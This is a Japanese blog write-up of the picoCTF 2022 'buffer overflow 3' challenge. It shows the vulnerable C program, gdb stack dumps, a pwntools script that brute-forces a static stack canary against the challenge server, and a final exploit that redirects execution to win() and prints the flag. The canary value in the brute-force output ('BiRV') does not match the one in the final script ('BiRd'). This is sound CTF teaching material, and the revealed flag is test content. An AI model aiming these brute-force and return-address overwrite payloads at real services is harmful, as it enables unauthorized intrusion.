LoginSignup
0
0

More than 1 year has passed since last update.

picoCTF 2022 buffer overflow 3 Writeup

Last updated at Posted at 2022-03-30

総当たりで canary を特定する

Do you think you can bypass the protection and get the flag?
It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows.

問題

image.png

ソース

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

canaryのサイズは4バイト

BOF調査

   0x80495e1 <main+89>:	call   0x8049461 <vuln>
   0x80495e6 <main+94>:	mov    eax,0x0

vuln関数の戻りアドレス 0x80495e6

ローカル環境のcanaryは,メモ帳で作成 0123

gdb-peda$ x/60xw $esp
0xffffd4d0:	0x00000000	0xffffd528	0x00000006	0x08049474
0xffffd4e0:	0x0804d160	0x00000006	0x63636336	0x0a636363
0xffffd4f0:	0x00000001	0x00000000	0xf7e57ecb	0xf7fb8000
0xffffd500:	0x0804d160	0xf7fb8000	0xffffd548	0xf7e45b44
0xffffd510:	0x0804d160	0x00000000	0x00000004	0x00000001
0xffffd520:	0xf7fe4f19	0x0804c000	0x0a414141	0x00000000
0xffffd530:	0xffffd578	0xf7feade0	0xf7e45a2b	0x0804c000
0xffffd540:	0xf7fb8000	0x00000000	0xffffd578	0x08049458
0xffffd550:	0x0804d160	0x00000001	0x00000004	0x0804d160
0xffffd560:	0x00000000	0xf7ea0376	0x33323130	0x00000007 <-- canary 0x33323130
0xffffd570:	0x00000000	0x0804c000	0xffffd598	0x080495e6 <-- vuln戻りアドレス 0x080495e6

Aの数 4*21

canaryまで 4*16

gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x8049336 <win>

win関数のアドレス

普通に攻撃してみる

# ./vuln
How Many Bytes will You Write Into the Buffer?
> 88
Input> 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x93\x04
***** Stack Smashing Detected ***** : Canary Value Corrupt!

BOF で canary を書き換えてしまうと,***** Stack Smashing Detected *****が表示される

総当たり攻撃で canary を特定

solver1.py
import pwn
import os
import time

canary = ""
byte = 0x00

def brute():
    global canary
    global byte
    while byte <= 0xff:
        io = pwn.remote("saturn.picoctf.net", 55012)
        #io = pwn.process("./vuln")
        ret = io.readuntil("How Many Bytes will You Write Into the Buffer?\n> ")
        print(ret)
        io.sendline('88')
        ret = io.readuntil("Input> ")
        print(ret)

        io.send("A"*4*16 + canary + chr(byte))
        print("A"*4*16 + canary + chr(byte))

        reply=io.recvall()
        print(reply)
        
        if "***" in reply:
            byte += 1
            #time.sleep(3)
        else:
            canary += chr(byte)
            byte = 0x00
            break

brute()
brute()
brute()
brute()
print "Canary: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)

このプログラムはローカルでは100発100中だが,ncすると,結果が安定しない。
どうもpicoのサーバーは,高負荷になると動きがあやしい。
また,canary は Instance 毎に異なり,それに気づくまで,非常に苦労した。

成功時の実行結果

途中から

Input> 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRT
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 55821
***** Stack Smashing Detected ***** : Canary Value Corrupt!

[+] Opening connection to saturn.picoctf.net on port 55821: Done
How Many Bytes will You Write Into the Buffer?
> 
Input> 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRU
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 55821
***** Stack Smashing Detected ***** : Canary Value Corrupt!

[+] Opening connection to saturn.picoctf.net on port 55821: Done
How Many Bytes will You Write Into the Buffer?
> 
Input> 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRV
[+] Receiving all data: Done (0B)
[*] Closed connection to saturn.picoctf.net port 55821

Canary: \x42\x69\x52\x56

最終攻撃

solver2.py
import pwn

io = pwn.remote("saturn.picoctf.net", 55012)
#io = pwn.process("./vuln")

ret = io.readuntil("How Many Bytes will You Write Into the Buffer?\n> ")
print(ret)

io.sendline('88')

ret = io.readuntil("Input> ")
print(ret)


win_addr = 0x8049336 

canary = "BiRd"

#s = b"A" * 4 * 21
s = b"A" * 4 * 16
s += canary
s += b"A" * 4 * 4
s += pwn.p32(win_addr)

print(s)

io.send(s)
io.interactive()

結果

# python solver2.py
[+] Opening connection to saturn.picoctf.net on port 55012: Done
How Many Bytes will You Write Into the Buffer?
> 
Input> 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAAAAAAAAAAAAAAAA6\x93\x04
[*] Switching to interactive mode
Ok... Now Where's the Flag?
picoCTF{Stat1C_c4n4r13s_4R3_b4D_f9792127}
[*] Got EOF while reading in interactive
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0